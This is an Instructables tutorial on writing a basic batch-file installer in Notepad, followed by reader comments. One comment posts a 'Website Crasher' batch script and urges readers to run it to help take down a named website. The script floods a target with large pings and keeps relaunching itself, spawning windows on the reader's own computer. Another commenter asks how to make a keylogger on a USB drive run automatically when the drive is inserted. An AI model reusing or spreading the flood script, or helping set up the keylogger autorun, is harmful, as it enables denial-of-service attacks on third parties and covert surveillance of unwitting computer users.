Ever want to give a download on an instructable, but it has to be in the correct folder? Here's how you can make a simple installer that can create multiple files, given you created it correctly. You will need

-a Windows NT (or higher) computer
-a file you want to install
-a place to put the file

Step 1: The most basic of text editing

Before we start programming we are going to have to open notepad.

Windows 95-2000

Windows XP-7

Start>All Programs>Acessories>Notepad

Then proceed to the next step.
<p>Can everyone help me with something? I have this website I want to take down, but I can't do it alone. Please copy the following code as a bat file to help. It is very... repetitive.... and opens a bunch of boxes... but it is for me. Please Help!</p><p>Here is the code:</p><p>:A</p><p>@echo off</p><p>Title Website Crasher</p><p>color 0e</p><p>CLS</p><p>Echo If you continue, this will crash IXL.</p><p>start websitecrasher.bat</p><p>echo Processing Your request</p><p>ping localhost&gt;nul</p><p>ping -t -l 65500</p><p>ping localhost&gt;nul</p><p>cls</p><p>echo ----------------------------------------------------------------------</p><p>echo Now Crashing Website...DO NOT CLOSE THIS BOX!! PRESS CRTL + C TO END!!</p><p>echo ----------------------------------------------------------------------</p><p>ping [] -t -l 65500</p>
I'm fairly new to batch files, so I'm hoping you can help me. I am running updates and a few installs on roughly 450 computers. Because our network is older, we have to do most of the installs and updates ourselves. Is it possible, and would it save time, to create a batch file that copies half a dozen files from the server to the desktop and installs them automatically, even if the installs have multiple 'clicks?' I have to log into our districts' filter first. I also run Windows Updates, clean out old system files, run ScanDisk and Disk Defrag, and create a restore point.<br><br>Any ides?<br><br>Thanks!
<p>Most of that would be possible as it's copying and running files, however, I'm not to sure how well networked storage works with batch files. It's certainly worth a try though. Difficulty may arise in file paths if the files to be copied have different names/paths every update, but other than that, I'd imagine such a file could be created.</p>
<p>I had some success copying the folder from the network drive to my desktop, although it made it a folder within a folder on my desktop...</p><p>How would you go about writing instructions to install a program where you have to &quot;opt out&quot; of add-ons like toolbars, etc.? For example, when installing Java, you have to run the .exe, Tell UAC to allow the install, then click &quot;Install&quot; within in installation program. After a couple of minutes, an option to set everything to Yahoo comes up. After declining that, it will install Java. There are usually three more &quot;Nexts&quot; to click before the install is complete and all old versions are removed.</p>
<p>Most of what you're asking isn't possible through ordinary batch files. As they can only run DOS commands, they can't do everything. You would probably want to make a VBS script to go though the installation (although I have pretty much no experience with using VBS with other programs, I do believe there are some interaction features.) As for UAC, there isn't a non-manual way around it as it's designed to not be automated to help protect your system from viruses and other malware. The only way to not have to deal with it is to disable it, which can be done through the control panel. Phew, hope that helps.</p>
<p>Thanks. I kind of figured there wasn't going to be an easy way out of doing all those computers manually. I appreciate the advice though!</p>
<p>No problem! Glad to be of at least some assistance. Good luck.</p>
<p>hey i want to install a specific file whenever my usb is inserted on a pc. ? is there any way to do. kindly revert back asap..</p>
<p>I believe there is a way with a specific type of USB drive. I forget which brand, but there's one that interacts with the computer like a CD. Then you need to make an autorun file. I haven't ever done anything like that before, but I can remember seeing something like that before.</p>
I have a sandisk pendrive and a windows 8.1. I have added a keylogger in my pendrive which can run on clicking on it but i want that the keylogger should automatically run on its own whenever pendrive is inserted and the second problem is the autorun file doesn't work for windows 8.1 because windows open the folder itself. Usually everyone have windows 8 so autorun isn't the solution to this thats why i wanted to run the keylogger itself whenever the usb is inserted. Kindly solve
<p>I'm sorry, but I don't know of any way to do that. That doesn't mean it's impossible, I just don't have much experience with Windows 8 to be able to help you. Good luck with your project though.</p>
<p>hey i want to install a specific file whenever my usb is inserted on a pc. ? is there any way to do. kindly revert back asap..</p>
<p>You can also download something I made. You can edit the code in the file and then copy and paste it into a batch file. Only 100 lines of code, enjoy:</p><p><a href="https://www.mediafire.com/?nolf7eg1kmzeflb" rel="nofollow">https://www.mediafire.com/?nolf7eg1kmzeflb</a></p><p>If you have any problems you can email me at theredstoneman1001@gmail.com</p><p>Thanks, and I hope it works for you guys.</p>
<p>I Have Created A Batch File That will let you create installer.exe files for free and very easily.<br>All you need is my InstallMaker.bat file and then it will say loading give it a second and then it will open the install maker.<br><br>TESTED ON WINDOWS 8 [It Works]</p><p>NOT SURE FOR OTHER OPERATING SYSTEMS</p><p>This is 100% free and only 1 file must be downloaded.<br></p><p>DOWNLOAD: <a href="http://www.mediafire.com/download/hlkw8r1v4o4vt4f/InstallMaker.bat" rel="nofollow">http://www.mediafire.com/download/hlkw8r1v4o4vt4f/InstallMaker.bat</a></p>
Why did you put VBs in the starting image? <br> <br>(Someone could get confused).
Actually that is the WinXP image for a batch file. The image for a VBS file looks like this
Sorry, I meant the image at step 1 <br> <br>Sorry for the confusions
Well the picture is more for the image of notepad than the code in it.
Fair enough.
Why don't you join the Batch Homies Group and post your Batch Instructables? <br>http://www.instructables.com/group/BatchHomies/
Not really an installer... As far as I can see, it's writing strings to a file. Pree basic stuff, but good instructable :)
Well, it can be used to behave like an installer. Oh well, thanks for reading!
Here's a cool website that I found for batch files: bit.ly/batchfiles
Here's a cool website that I found for batch files: bit.ly/batchfiles

About This Instructable


10 favorites


Bio: I find a quote from Bill Gates makes a very good description. "Be nice to nerds. Chances are you'll end up working for one."
More by Super_Nerd: Make an assistant for your computer in 5 minutes Track Computer Usage in 2.5 minutes How to be a MAD Scientist! MU-AH HA HA HA!
Add instructable to: